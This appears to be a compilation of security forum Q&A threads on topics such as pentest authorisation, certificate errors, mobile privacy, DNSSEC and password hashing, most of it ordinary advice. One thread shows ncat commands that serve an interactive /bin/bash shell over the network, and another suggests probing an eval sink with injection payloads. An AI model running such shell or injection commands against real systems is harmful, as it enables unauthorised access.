It depends on the possible consequences. Estimate your risks.

1) For instance, if your password manager keeps passwords for your online banking account and similar important passwords, then the consequences can be very expensive and it makes sense to change the password and to delete any backups with the old password.

2) But if you keep there passwords for accounts like your local pet shop or for your local bowling club, the consequences in the worst case can be acceptable. Then you don't need to warry.

3) If your browser is configured to use URL field for search, then take into account that all major search engines use HTTPS only. That's why nobody except search engine could see your password.

4) Estimate what it costs for somebody to gain access to access to the servers of your search engine (like Google, Bing or DDG), find there requests related to you, then find a particular request that contained password. Then the attacker would need a copy of your password manager database. Only then he can use his knowledge of the password. Now estimate if it makes sense for smb. to do such efforts to get your passwords. If your passwords really cost millions of USD, it definitely makes sense to change password, delete any old copies. If not, don't waste time searching for the backups or copies of your password manager database on all your devices.


Pentest for my college I am still in college. Recently, I completed my OSCP and have been asked by my professor to do a robust pentest on our University's Network Infrastructure.
Although I agreed, I have no idea regarding what paperwork should I present the university authorities.(If any)

A contract might look like an overkill, I just need something that protects me in the worst case scenario. Since I am an amatuer, any advice is much appreciated.

'Contract might be overkill'
When they sue you for damages, that contract will keep you from counting bars.
Get a lawyer, sit down with your professor and sketch out the scope. Then get a SoW signed by all authorized signatories of your university. There's no one size fits all solution.
You also say that you've exchanged a SoW over email - not enough. Get it signed on hard paper or using a online provider. It is extremely important that the signatories be authorized. I'm sure your professor is a nice person, but he could simple use you to discover holes in the system, sell them to a third party and throw you under the bus.
If you can't afford a lawyer, at least ensure that you're familiar with the local laws and regulations. I recommend that you read the PTES's Rules of Engagement. Some important points:

Ensuring that you have permission to test

Evidence handling

What to do when you come across personal information

The scope of the test

If you haven't already, I definitely recommend going through it. It'll keep you safe while you're working. Spending a night in the slammer is no fun.


Trying to create a reverse bind shell from Windows to Linux I’m trying to create an encrypted reverse bind shell from my Windows machine to my Linux machine. Being totally new to penetration testing, I’m having a little bit of trouble.

First, on my Linux (Kali) machine, I setup a listener on port 4444:

ncat -nlvp 4444 -e /bin/bash --ssl

I've been researching a lot and found out I may need to make it interactive, so I tried adding:

ncat -nlvp 4444 -e '/bin/bash -i' --ssl

Now, on my Windows box, I connect to it and try to access the terminal for my Linux machine by typing in the following command:

ncat -v windowsIPAddress 4444 --ssl

Now, my Linux box has no problem listening, but the output on my Windows box only shows:

C:\Windows\ncat> ncat -v linuxBoxIP 4444 --ssl
Ncat: Version 5.59BETA1 ( http://nmap.org/ncat )
Ncat: .
C:\Windows\ncat>

So, I have no idea why it only shows a"." and doesn’t connect to the Linux command prompt. I’ve been researching for a long time, and it appears that I’m doing everything correctly, but I'm obviously not.

Does anyone have any insight on this issue?

I had a firewall issue on the Kali side of things. For anyone who stumbled upon this question, I guess this is basically a guide now rather than a question.

The answer is to turn off the appropriate firewall settings on the Kali machine and everything should work fine.


NET::ERR_CERT_INVALID in Chrome/Opera on Linux I have set up a self-signed CA in a development environment and have issued a server certificate to a test website.
The issue I'm having is that the certificate is being rejected by the browser with NET::ERR_CERT_INVALID
This only happens with Chrome or Opera in Linux (Opensuse Leap 15.2). I've tested the same site on Windows 10 with Chrome/FireFox/Edge/Internet Explorer/Opera - all of them are successful. In Windows the CA was imported into the Trusted Roots for the User (perhaps there is something similar on Linux?)
On Linux only Firefox works, Chrome and Opera fail with the same error. Unfortunately Linux is the desktop used most.
To debug the issue I started a Wireshark trace whilst connecting to the site, what I'm seeing is Certificate Unknown (46) error

I'm really not sure what can be causing this and so specifically with Chrome/Opera on Linux.
The server side is NGINX and the certificates are configured as follows:
ssl_certificate      /etc/nginx/pki/server.crt;
ssl_certificate_key  /etc/nginx/pki/server.key;

Where server.crt is a concatenation of the server cert and the CA cert (server first).
Any ideas what's causing this or what I can do next to debug further?

In Windows the CA was imported into the Trusted Roots for the User
(perhaps there is something similar on Linux?)

Yes, there is.  The method varies by distribution, but you'll want to add your self-signed CA to the appropriate directory and run the appropriate update script.  Here's an answer which outlines both Debian-ish and RedHat methods for adding a CA.


What are the best practices for maintaining privacy on a non-jailbroken iOS device? iOS, like most other mobile OSs, has the potential to leak significant chunks of personal information to 3rd-party apps and to ad and tracking networks used by those apps, which in turn also has the potential to allow aggregating and tracking user identity and behavior across apps.

Location Services was finally locked down and the native Safari browser can be kept clean, but installed apps can still access Contacts, photos, and unique device identifiers without knowledge or consent of the user.

What strategies, tactics, and tools are available to help improve privacy with respect to 3rd-party apps, while maintaining a reasonable level of functionality?

In addition to the other answers, here are more tips :

if you must use social media, use either their mobile site or a third-party client. Social media is evil by definition as their way of making money is by reselling personal data, but third party developers couldn't care less about the social media site making money, they just want you to buy their app and will respect your privacy in most cases. Make sure you trust the developer, a concrete example of evil third-party apps would be the endless Snapchat screenshot apps coming from unknown developers often with Chinese names; if you want to see the damage done by these apps, search for snapchat leaked (NSFW); if you can't find a client you trust just don't use that social media service at all.
don't install all the apps you can see. For a developer, having their app on your device should be a privilege, not a right. There is really no need to install the latest clothes store's app or the new train/plane ticket comparison app. News app are evil as well, there is really no need for an app to read news, Safari can do so just fine, both for buying clothes, reading news and about 70% of what you're doing on your phone.
prefer paid apps over free ones. Free apps mean either there is advertising (your privacy is violated by the ad companies) or that you become the product (your privacy is violated by the app's developers themselves). Both are equally bad. Paid apps on the other hand have no advertising, so assuming you trust the developer you should be safe.
again, use Safari (in private browsing mode) whenever possible. Installing an app should be only as a last resort and that should mean you trust the developer entirely, which should rarely be the case.
finally, if you have the technical means and knowledge to do so, consider passing all your device's traffic through your network (via an HTTP proxy, VPN, or custom APN; the latter is very costly but means the carrier routes all the internet traffic from your mobile plan directly through your network, avoiding the need to configure a VPN on the device itself). You'll see, in addition to the obscure traffic caused by the device itself, quite a bit of analytic and crash reporter traffic. While they're less evil than plain advertising, they also should burn in hell. Block them at the proxy level (which can filter based on the hostname even with HTTPS) or at the firewall level in the worst case.


What happens when an x509 CA certificate expires? I have the following issue: we use TLS with client cert verification to identify clients to a service. To this end, we have created our own self-signed certificate authority, which does nothing but sign certificates for these clients and verify their validity. We replicate this setup in our development environment.

The development CA has just expired, so no new certificates can be issued in our development environment. We have quite a bit of time left on the production CA, but I would like to figure out if there is a smooth process for migrating from an expired CA certificate to a new non-expired one without breaking existing certificates.

The naive solution is, generate a new CA cert and replace the old one. However, I believe this will cause existing clients to fail validation.

I've done a bit of googling and reading, and I THINK what I need to do is..

Create a new CA cert and use that for signing new client certs
Create some sort of "combo" cert which includes both the new CA cert and old CA cert and use that for validating clients (bridge? chain?)

Point 2 is where I'm failing to find detailed documentation. Additional general questions I have:

Is it possible to set the "combo" cert up in a way that it can be used for both issuing new certs and validating both new and old certs? Like, is it possible to indicate "this certificate is really 2 certificates, and the new one is the one that should be used for signing new clients?" This is strictly a practical concern - fewer files to keep track of.
Should I just avoid combining anything at all and just use both CA certs in the trust pool of the validating software? I guess this goes back to the first question..

Sorry about the vague language, I'm purposefully avoiding specific x509 terms because I'm afraid I'll use them incorrectly and confuse the question.

Signing is done with the private key. The matching public key to verify the signature is inside the certificate. You can renew a certificate (change the expiration) while re-using the existing key pair. Thus the signature will still be valid even if the certificate itself got changed.

For upgrading the quality of the key you create a new key and create a new CA certificate based on this. New certificates will then be issued by this new CA certificate but the old CA is still usable to verify existing certificates and can be thrown away once all these older certificates expired.


IT Security and Ethical Hacking Hello, programmers, security professionals, hackers and everyone who is interested in information security. I am taking security courses in my university but I found there is only lab so I have to learn by myself, there will not be any tutorials. So I want to ask you. Can anyone recommend any ethical hacking, it security courses? Has anyone attendend www.thehackeracademy.com. Does it worth its price? Thank you for any information beforehand.

first suggestion: this thread will get better responses over "https://security.stackexchange.com/", so get it moved there

answer:

I've been a self-learner of Security for long time, and from my own (and other security enthusiasts I know) experience I can say that you don't need to take any paid course to learn about Security..... actually that might give you a good boot-up but there are lots of free/open resources which would help you do the same.

I'd say start following blogs/tweets of good Security Experts that you can get hold of. Follow what's being discussed in Security Conferences (like DefCon, BlackHat, ShmooCon & more), you can even get loads of videos from these conferences on Youtube, Vimeo and their respective site.

I did started with a very basic intro guide (an open-content e-book) to hacking, but it's in its initial stages..... if you wanna keep a tab on it and follow up, the link is

Link:  https://github.com/abhishekkr/eden_guide_to_hacking

until now I've covered::
part.0 Fundamentals,
part.1 Hacking Cycle step.0 Acquiring Target, and
part.1 Hacking Cycle step.1 Reconnaisance [Active Recon, Passive Recon]

~~~~~

apart from learning basics, also keep track of what's going on in Security Arena from portals like

Link: http://threatpost.com/en_us

Link: http://www.exploit-db.com/

and for any query you can always post it on https://security.stackexchange.com/


Suspect Exchange Server appears to be hacked. How to determine if it was a false positive? Our security vendor detected that our client's CAS server was doing a nessus scan in the internal network.

It's not uncommon for this vendor to issue a false positive, but I'm looking for general guidance on how I should analyze this Windows based server if a hack was indeed attempted.

What files might be left over?
What might be modified?
How do I safely gather enough information to know if it should be nuked from orbit.

Any good system administrator is going to know what files are on his company's server and what are in those files.

The first thing you want to do is use a program or write a script to take note of all the files on the hard drive.  The safest way to do this would to mount the hard drive on a known working OS so the OS doesn't hide any files from you.  You make note of this and keep it in a safe place.

The next thing you do is create a checksum for each of those files listed and keep that in a safe place as well.

This process will go well with your server backups because you'll know where to restore from.

Whenever you suspect and intrusion you will check to see what files have been added to the system and verify the integrity of the files with the checksum.  There will be certain files that will always fail of course, such as log files.  But you will want to flag files that have changed without your knowledge such as the boot files or system files.

An additional resource would be to analyze the traffic from the server.  Gather any information you can to be helpful such out going server port, where the traffic is going, etc.

Typically a compromised system is going to try and send things out to the internet.  Being that it was an exchange server, it may be used to spam emails so that it wouldn't look to peculiar.

A lot of intrusions can be detected with anti virus as well, but of course, that doesn't mean your safe!


Can contacts be stolen over public WiFi? Being on vacation for a few weeks, I only have access to public WiFi.

After I have done some research on google and using the search button here (because "how safe is public WiFi" is a really common question), there's one question I have left: Since encryption seems to make my logins and my WhatsApp messages safe, I wondered if this is true for contacts too?

Is it possible that my number or the number of my phone contacts is exposed? I have disabled any app to have access to those except WhatsApp, phone, messages and Google services.

While the content of the messages may be encrypted - is the contact information like a phone number encrypted, too?
 Or is it more like that I am spreading the numbers of my friends and family through public WiFi, while no one can read the messages?

When you're on public Wi-Fi, anything your smartphone transmits unencrypted, including contacts, can be intercepted and read by anyone within radio range.
The question is, then, does your smartphone transmit contacts? Many apps do, but they will mostly use an HTTPS connection to their backend which encrypts the information.
So I think you'll be safe if you stick to well-known apps. The only way to be sure, however, is to use a tool like Wireshark to inspect the traffic your phone sends over the network.


Does strong naming remove the need for packing/obfuscation? I'm new to .NET programming, and I'm wondering - from a security perspective - whether the strong naming scheme used in .NET assemblies completely removes the need for other commonly used techniques such as packing the assembled code?

To be clear, I am talking about .NET applications running on the client side and my goal is to make sure the user (client) cannot modify the application. This is a common problem for Software and Game developers, and I know it cannot be 100% mitigated, but I'm looking for a solution that would stop most crackers.

If I have completely misunderstood the use of strong names please correct me and point me in the right direction :)

edit: I should also probably mention that I'm more concerned with the integrity of the application, not necessarily keeping the algorithms hidden/secret.

Edited to add answer thanks to CodeInChaos

So Strong Names seems to be totally broken and do not offer any security - given that the attacker has access to assemblies on a machine where he is root.
Strong Names Explained and .NET Framework-Rootkits explain this.

The assemblies in the .NET Framework are placed in folders within the GAC with folder-names corresponding the signature when signed by the original author. The signatures are never verified, so if an attacker replaces a DLL from the framework with his own and places it in a "correct" folder, the attackers DLL will be accepted as legitimate. This means of course that the attacker can change the functions in the framework used for verifying strong names in .NET applications, and therefore allows an attacker to modify .NET applications with his own code.

It's easy to change signed assemblies, it's just that they don't have a valid signature by the original author afterwards.

Strong naming helps with versioning(in particular required for installation in the GAC), and is a security feature in certain mixed trust scenarios. But it doesn't help much against people who have full rights on the comp where your program is running.


Interconnected DNS Information One of the methods to verify if a domain is legitimate or not is to check out its DNS records and their interconnection. The ones I could find are.

NS and PTR record
A and AAAA pointing to same address (so that the same website is served) etc.

There may be more.
Are there any other DNS records that are interrelated and the existence of one implies/is required for the other in order to function legitimately?

DNSSEC - Domain Name System Security Extensions

It is a set of extensions to DNS which provide to DNS clients
(resolvers) origin authentication of DNS data, authenticated denial
of existence, and data integrity, but not availability or
confidentiality.
It adds a layer of trust on top of DNS by providing authentication.

When a DNS resolver is looking for security.stackexchange.com, the .com nameservers help the resolver verify the records returned for stackexchange, and stackexchange helps verify the records returned for security. The root DNS name servers help verify .com, and information published by the root is vetted by a thorough security procedure, including the Root Signing Ceremony.

https://en.wikipedia.org/wiki/Domain_Name_System_Security_Extensions


Can someone launch a DOS attack on my IP Suppose, I have a static IP on my PC and is known to others. None of my softwares listen for remote connection. Is it still possible for someone to DOS attack me in such cases? If yes, how it is possible?

Sure, that's possible. For a very simple denial of service attack, an attacker just floods the downlink of your internet connection with garbage, thereby preventing any real incoming data from arriving at your computer.


How do I report a vulnerability to a large organization that doesn't believe it has a problem? This issue is more political than technical.

The organization has a lot of computers that connect via web browser to a central database. Customers are regularly left unattended with physical access to the terminals for over 15 minutes at a time. I reported that they are vulnerable to hardware keyloggers. The official IT response was, "We are aware of that possibility, and have a solution. Getting passwords would not do an attacker any good."  But the higher-ups wouldn't let him say anything more -- security through obscurity.

The point is: I think they are bluffing. I don't know what their solution is, but there are hundreds of attack vectors open when you have physical access. Are they really just not worried about it because the risk (probability of attack) is low enough to trump the cost of improving physical security?  How do I get them to listen? Is it even worth the effort?

Since you are a customer of the company it might give you some more options.  A few things worth considering:

Write a letter to the CEO of the company.  Make a copy of the letter
and send it to the person you spoke with as well as their manager.
Notify the press if you think you can find anyone who would be interested in the
story.
File a complaint with the Better Business Bureau (if you are in the US) and send it to the CEO
Take your business somewhere else and tell them why you are doing it.

Honestly I think there is very little chance any of these will work, but it sounds like they are shining you on right now so your options are limited.


DAST Output in Burp and Understanding It I have recently upgraded to the newest version of Burp which includes the new DAST tools. I am receiving reports from the tool that it has found DOM-Based Javascript Injection, but I am having troubles digesting the output:

  Data is read from textarea.value and passed to eval.
  The source element has id pastBoxField and name pastBoxField.
  The previous value reached the sink as:
  (dkezib%2527%2522`'"/dkezib/>xrpjqc&)

In the demo Portswigger posts here: https://portswigger.net/blog/dynamic-analysis-of-javascript The exmaple appears much more complete, with the actual value injected and the proof-of-concept. The output I am getting has none of this. Only what is in blockquotes above and the stack trace at source and sink.

I can't for the life of me seem to recreate this or confirm if this is false positive. I don't have the value injected so even though it could be the value reached at the sink, I can't verify this. I am relatively new to this type of testing, so I am sure there is a way to manually test this. I have been trying to find an in depth description illustrating such a thing but can't find one. Obviously the Portswigger one, but it provides more information than my example.

Can anyone point me in the right direction of how to manually confirm if this is a false positive or not? I don't mind reading through research or something. I realize you can debug in Firefox but I can't figure out how to trace what I need. Please feel free to yell, scold, or point out I am missing something obvious if thats the case.

I haven't used the new DAST scanner, but it seems like it injected (dkezib%2527%2522``'"/dkezib/>xrpjqc&) into the input field / variable, ran the javascript, and found that it reached the eval() without being escaped. Usually that's all the ingredients you need for javascript injection.

I would start playing with variations of alert(1) and see if you can get a popup. It probably won't work the first time and you'll have to take a closer look at the page source to figure out why. After an hour of this, I've usually either succeeded in getting a popup (confirmed vulnerable), or understand the code well enough to be 90% sure that it's not vulnerable.


Do any OpenBSD protections mitigate the damage from Heartbleed? OpenBSD provides a list of substantial protections against exploits inherent to the OS. Most of these features are not found in other operating systems, or at least are not turned on by default. The list from the OpenBSD website linked above includes:

  strlcpy() and strlcat()
  Memory protection purify

  W^X
  .rodata segment
  Guard pages
  Randomized malloc()
  Randomized mmap()
  atexit() and stdio protection

  Privilege separation
  Privilege revocation
  Chroot jailing
  New uids
  ProPolice
  ... and others

Do any of the security protections in OpenBSD mitigate the data-exposure from the Heartbleed attack?

In other words, would an Apache/nginx https server using OpenSSL have been any less vulnerable to the Heartbleed attack because it was being run on OpenBSD?

No.

OpenBSD has measures (specifically, malloc() guard pages and wiping of deallocated memory) that should have turned Heartbleed into a crash or a leak of a whole bunch of "0x0d" bytes.  However, as noted in a blog post here, OpenSSL uses its own custom memory-management system which acts to defeat those measures.


Gmail disclosing your account name to recipients? My Gmail setting has forever been set to send emails with just my Gmail address as the identifier, so it should not send out my account name (first or last name)... or so I thought!

Recently I got a reply from someone (to whom I had contacted for the first time and never disclosed my name) and they wrote my first name in their response (the "Dear xyz,"). How could this happen? Did they somehow hack my email to find out my name? (I was using Gmail app on iPad.)

After this happened, I checked my Gmail setting and the email I sent to him, and my name was not anywhere in it (the "To" and "From" sections just show my email address.)

This is so creepy.
His email came from his company email address.
Might their server have some special power to decode Gmail emails or something?

There are a number of ways this can happen, but hacking your email account to find our your name really isn't one of them.  That would be a ridiculous amount of work given the risk and the very small potential reward involved.

The most likely explanation also one of the most mundane possibilities: They already have your name associated with your email address.  How?  Who knows.  You'd have to ask them.  Perhaps they bought a marketing list that contained your name and email.  Perhaps you're in their system from some previous interaction that you've forgotten.  Perhaps they purchased another company, and you were in that company's system.  Perhaps they subscribe to a service to which that can plug-in an email address, and it returns any public information from anywhere on the Internet that it can find about the owner of that email address. (These services do exist.)

The potential ways this could have happened are nearly endless, and almost none of them involve any sort of impropriety, so the bottom line is that I wouldn't worry about it.


How is SIM blocking enforced? The only protection features that mobile phones have to keep thieves that stole a target's device from impersonating that subscriber is the PIN/PUK system that's on by default on most SIM cards.
The gist of this is that only the legitimate subscriber would have set the PIN and only they would know it to unlock the SIM on every phone boot-up. Moreover, if the legitimate subscriber would forget the PIN and enter the wrong code 3 times in a row, then the SIM would just become locked and a PUK code would need to be entered to reset it and unlock it back up.
My question is: how is this implemented phisically on the SIM? The only thing I can think of is that the SIM card only has physical memory cells somewhere on the chip that count how many times the PIN code was introduced and was wrong and another, separate, memory location that counts how many times the PUK code is entered and was wrong. And that the phone itself would always read these memory locations off the SIM and make sure that, after a certain number of times was hit, it would just simply prevent the user from simply bruteforcing the codes by not allowing them to keep on entering when the limit is reached.
But, if that was true, then surely someone would have created custom-made hardware that emulated a mobile phone and which simply ignored these checks and just brute-forced the SIM until it found to right unlock code. Since this does not seem to be the case, I can only imagine that, somehow, there are physical security measures on the SIM itself that prevent such a scenario from happening. What are these measures?

You have one wrong assumption: the phone does not perform the check. The SIM card is a tiny computer. It does the verification by itself and it is able to lock itself and prevent the phone to read its content after being locked.


How can I capture all data from a specific device on my network? I have an iPhone that is connected to my Wi-Fi at home. I want to capture ALL traffic from that iPhone (because it's my network) and record it and view it. I don't have physical access to the device.

My router is a basic Apple AirPort Extreme, so it doesn't have advanced capture features built into it.

What is the best way to go about doing this?

You can start with Wireshark. You will also need AirSnort or AiroPeek. For real advanced stuff check out KISMET.

Finally if you intention is non-intrusive, non-disruptive, you might want to use a TRIAL version of SolarWinds. I'm not sure as they have multiple utilities for various purposes. Check out SolarWinds web-site & make a wise choice for yourself. SOLARWINDS is a Paid software & costly too. You might get a Trialware for free initial 30 days.
Hope this helps,thank you :)


RSA vs. DSA for SSH authentication keys When generating SSH authentication keys on a Unix/Linux system with ssh-keygen, you're given the choice of creating a RSA or DSA key pair (using -t type).

What is the difference between RSA and DSA keys? What would lead someone to choose one over the other?

Go with RSA.
DSA is faster for signature generation but slower for validation, slower when encrypting but faster when decrypting and security can be considered equivalent compared to an RSA key of equal key length. That's the punch line, now some justification.
The security of the RSA algorithm is based on the fact that factorization of large integers is known to be "difficult", whereas DSA security is based on the discrete logarithm problem. Today the fastest known algorithm for factoring large integers is the General Number Field Sieve, also the fastest algorithm to solve the discrete logarithm problem in finite fields modulo a large prime p as specified for DSA.
Now, if the security can be deemed as equal, we would of course favour the algorithm that is faster. But again, there is no clear winner.
You may have a look at this study or, if you have OpenSSL installed on your machine, run openssl speed. You will see that DSA performs faster in generating a signature but much slower when verifying a signature of the same key length. Verification is generally what you want to be faster if you deal e.g. with a signed document. The signature is generated once - so it's fine if this takes a bit longer - but the document signature may be verified much more often by end users.
Both do support some form of encryption method, RSA out of the box and DSA using an El Gamal. DSA is generally faster in decryption but slower for encryption, with RSA it's the other way round. Again you want decryption to be faster here because one encrypted document might be decrypted many times.
In commercial terms, RSA is clearly the winner, commercial RSA certificates are much more widely deployed than DSA certificates.
But I saved the killer argument for the end: man ssh-keygen says that a DSA key has to be exactly 1024 bits long to be compliant with NIST's FIPS 186-2. So although in theory longer DSA keys are possible (FIPS 186-3 also explicitly allows them) you are still restricted to 1024 bits. And if you take the considerations of this [article], we are no longer secure with 1024 bits for either RSA or DSA.
So today, you are better off with an RSA 2048 or 4096 bit key.


How can the sybil attack be used on a P2P system that implements DHT? I was reading about the sybil attack and am unclear on some details.

  After becoming part of the peer-to-peer network, the adversary may
  then overhear communications or act maliciously. By masquerading and
  presenting multiple identities, the adversary can control the network
  substantially.

To me some information was skipped over here. So with the sybil attack one entity (e.g. one person on one computer) can have multiple identities (e.g. look like they are several torrent clients) so what? How does this "control the network"?

In a reputation based P2P network, an entity gains more resources or priority by having a higher reputation. Consider for example this site, Stack Exchange:
Suppose you could write a simple script that generates hundreds of new accounts in a minute, and generates proper questions for those accounts. You could have your bot accounts vote on each other's questions and answers and soon enough you'll be able to downvote anything to oblivion, control which questions are more visible, ...etc

As for Bittorrent, it doesn't implement any sort of shared reputation, but here's how it works:
if you generate enough identities, eventually, you should make it into everyone's DHT routing tables, and a bit later you'll have a sizable fraction of the total vote.
By replying with invalid info you can now pollute the network enough to introduce delays and outages. You could make it likely that anyone ends up with, say, 80% sybils, and now those sybils can give downloaders invalid file contents for certain torrents, effectively censoring them.

Source:
Liang Wang; Kangasharju, J., "Real-world sybil attacks in BitTorrent mainline DHT," Global Communications Conference (GLOBECOM), 2012 IEEE , vol., no., pp.826,832, 3-7 Dec. 2012


Someone called someone else with my phone number Sequence of events:

I didn't touch my phone all day (at work, busy day, know it didn't even come out of my pocket, but was on).
5:20pm I get a call by a guy asking me who I am and why I called him at 2pm. Tell him I didn't call him.
Immediately after, I texted the guy who called me to text me if he verified I called him.
~7pm, he sends me a text with a screenshot of his call list, he had a call from me at 2pm (according to the screenshot). I sent him back a text of my call list with no call, end of story.

So, if I take this at face value (and not as some elaborate scam which I don't understand), someone called this guy from "my" phone number. Also, I think it's relevant that the guy was local, based on his area code.

What are the risks?
Should anything be done about this?

Someone placed a call to 'the guy', and spoofed the caller id to make it look like the call came from your phone number.  Caller-id spoofing is not uncommon, and there are even VOIP services that actually offer this as a 'feature'.  'Junk callers' often spoof the caller id to make the call look like a 'local call', so as to make the recipient more likely to answer the call.  See https://en.wikipedia.org/wiki/Caller_ID_spoofing for more info.


How can I verify if a person is in my web of trust? Lets say I trust person A (whose public key is in a key server) and I want to know if I can also trust person B (pub key is also in a key server).

How can I verify that I have a chain of trust between person A and B? Or better: that can verify if there is a chain from any person that I trust to person B?

Validating keys means finding a path based on certifications, where all intermediate keys are also valid. This requires valid (there is a trust path to those keys) and trusted (they are considered for validating other keys) intermediate keys, and certifications issued by those keys (which for the edges between the keys).

  How can I verify that I have a chain of trust between person A and B?

GnuPG will do this for you: it will calculate the trusted part of your local view on the web of trust based on certifications and configured trust.

  Or better: that can verify if there is a chain from any person that I trust to person B?

For the general case, this requires knowledge of the whole OpenPGP web of trust. The PGP pathfinder is a website doing exactly this for you without having to store a local dump of all keys. Using the wotsap software, you can also do this locally, but it is rather involving.

Both applications only list possible trust paths, but these provide support at validating intermediate keys within GnuPG (and issuing trust on the go) until you have been able to validate the target key.


School manages Google accounts, what can they do or see? My school started using Google Meet for online classes. The accounts we use are managed by them and they told us that they know the IP of the device that we are logging in from. What else can they know/monitor?
Can they see our search history? Our files at Drive, our documents at Google Docs? Do they only see your activity if you use that account?
I kind of got anxious, because they will somehow know if we are cheating. And no, I won't attempt cheating because I actually want to learn. I'm a bit paranoid, can they also see activity on other browsers or other Google accounts? How do managed Google accounts work?

Provided it's a G-Suite account (and it almost certainly is, as this is the only way they can manage the accounts unless you gave them your login credentials), they can see all data associated with that account, including but not limited to emails, search history, Youtube watch history, and numerous other things (for example, browsing history if you've logged into Google Chrome with this account as your primary account).
However, unless you explicitly grant access, they do not have any access to data on your other Google accounts (with the possible exception of the fact that you have logged in with other Google Accounts on the same device, but probably not what accounts those are).


Antivirus warns about processes trying to access my webcam For the last two weeks I am constantly getting notifications from my antivirus about attempts  of using my webcam. I have always chosen "Block access", often after checking "remember for this aplication". But I am still getting these notificatiosn about every day. There are two diffrent notifications for two diffrent processes:

C:Windows\System32\taskhostw.exe
C:Windows\System32\DeviceConsensus.exe

What are these processes, and is it safe to allow access?

Here's the translation of the polish print screens below:

  Attempt of getting access to webcam
    Signed Aplication

  Application (process of hosts of task of system Windows) tries to get access to your webcam.

  Application: ...
     Company: ...
     Reputation: discovered 3 months ago.

  Allow?
      ...

DeviceConsensus.exe is part of a telemetry framework Windows 10 uses to report back on hardware errors. It probably wants to check that everything on your webcam is working right and as for taskhostw Nomad summarize it up very well in the comments.

PS: if you want it to stop asking just go to your privacy settings in Windows 10 then click camera after click Choose which apps can access your camera and uncheck "Feedback hub"


Bypass CAPTCHA form made with 100% JavaScript? There is a website I have found where the JavaScript handles the response of the CAPTCHA and then proceeds to fire what I believe is an AJAX request.

So the flow is as follows:

Button -> CAPTCHA-> AJAX

What prevents me let's say from firing that AJAX request myself? It is all client side. Is it worth to try and dig through all the code to find that request? What are some measures that can be used inside JavaScript in general to prevent such a case?

If it is a secure CAPTCHA, the AJAX message will send the user's input to a server. The server will validate the input and return a token. The token will then be inserted into the form by the Javascript. When the form is submitted, the server will validate the token with the CAPTCHA service (this could be a web service call or signature validation). So the fact that there is AJAX tells you nothing about the security of the CAPTCHA except that it might be secure.

As far as what prevents you from firing that AJAX request yourself, the answer is nothing. But to do it correctly, you'll need to provide the answer to the CAPTCHA, something that's supposed to be hard for a computer algorithm to determine.


How to setup an internal firewall I'm hoping to get some advice on a project I've been asked to look after at work.  I do all of the IT for a small company that sits inside of a larger corporation.  We need to prevent access to certain websites for our small group, so basically I need to setup a firewall within the infrastructure of the larger company.

The larger company is going to be setting up a separate VLAN for us, however, they don't want to use their firewall equipment to do the actual filtering, which is why I need to setup the filtering myself.  I have a spare server at my disposal so I'm hoping to accomplish this with software (preferably Linux based since that usually cheap/free and I'm pretty good with Linux) instead of a hardware device if possible.  I'm under the assumption that basically what I need is a firewall that will act as the gateway between our small group and the firewall of the corporation which will then lead to the Internet.  I'm also hoping to still use the DHCP server of the larger company to serve our IP addresses (if that's possible to pass through the firewall).  Lastly I will need to be able to filter websites based on the MAC address that's trying to access the website.

If anyone can offer advice on which firewall software would be best to use in this scenario that would be much appreciated.  Also I'm looking on advice on the best way to structure the network ... should we continue using their DHCP, should we setup our own, if we use our own DHCP server, how do we prevent it from serving address to other users on other VLANs?  I'm pretty decent with network stuff, just never worked in an environment with VLANs (I know the basic concepts about VLANs, but that's about it).

Thanks in advance for any help,
Harry

First to answer the question of DHCP. DHCP works by sending a broadcast on a network, which means that if the DHCP server can hear the broadcast of a client (DHCP Discovery), then the client and server can negotiate an IP address.

In your case, you are going to be sat on another VLAN from the DHCP server, so effectively a separate subnet. With this in mind, if your subnet is 192.168.1.0/24 and the companies DHCP server sits on 192.168.2.0/24, your client will not be able to communicate with the DHCP server using network broadcast. This means that realistically you are free to set up a DHCP server to serve the appropriate IP address range without subsequently broadcasting out to the rest of the network.

Now it is possible to set up a DHCP Relay on your router which will pass DHCP traffic between your clients and the DHCP server of the larger company if you want to, really this is a decision for you on how you want to manage the IP addresses on your network.

Regarding firewall choice, my preference is to opt for a Linux iptables and squid proxy option. You can forward web traffic transparently to a squid proxy, this is possible using iptables:

http://www.cyberciti.biz/tips/linux-setup-transparent-proxy-squid-howto.html

Secondly, you want to filter by mac address. Squid supports this with ACL's:

https://superuser.com/questions/343983/restrict-users-with-regard-to-their-mac-addresses-is-it-possible-with-squid


What is the safest way to store a password in a single file? I've been reading about it. This article  helped me a lot. But the more I read the more complicated it seems. For example:

Is it better to use bcrypt, or PBKDF2, sha2 or something else for the salt?
How do I add HMAC encryption passwords?

Suppose I have to store passwords (all information, hashes, salt .... )  in a single file.

I plan to do it this way:

Obtain password from the end user.
Create a salt.
Create hash = SHA256(salt + password)  and store salt together with hash in the file.

But I am not sure how to improve it. I do not understand how to use HMAC

Well the question is: What is the safest way to store a password in a single file?
no matter the cost of the algorithm

PD: I am using JAVA.

First point, never use SHA256 for hashing your passwords. Use bcrypt or pbkdf2. Here is a link to a Java library for bcrypt.

The library will take care of most of the details, including the generation of salts. Use it, don't roll your own.

What is the purpose of the password? Is it for authentication? If so, just store the hash somewhere you can retrieve later for comparison, be it a text file or a database.

If you want to use the password for encryption, well that's a whole different set of issues you have to consider. Details like key management, the modes of operation you should use will vary depending on your exact scenario. Don't do this unless you are a trained cryptographer, which you clearly are not, as there is a whole lot of stuff that can and will go wrong if you try to  roll your own crypto.


Group Policy - Best Practice for Default Security Settings I am currently working on hardening our Windows OS systems.  I'm reviewing guidance from CIS and Microsoft Security Compliance Manager.  What I have found is that many of the security settings are already set to the recommended setting by default.
This means that if I do nothing and leave the policy set to "Not Configured", the system will be in the ideal security state.

Here is my question:
Is it prudent to go ahead and use group policy to enforce ALL security settings to the desired state?

Advantages I see*:  Local administrators cannot change the policy.  Malicious changes will revert during next group policy refresh.

Disadvantages I see:  OS updates that change the default configuration will not be applied because the GPO will enforce a different setting.  Lower group policy load times.

Is there any standard or guidance from Microsoft or another security authority (SANS, etc...) that addresses this issue?

Thanks in advance!

From the Microsoft perspective, I can tell you that this is something that the team responsible for publishing the security configuration baselines has changed position on over the years. In the past, they use to publish baselines with the recommended values specifically set, even if they were already the default.  However, they no longer do that.  Now, for policies that already have secure defaults, they are left as "not configured" instead. This makes administration and management significantly simpler, which experience appears to show is the better option.


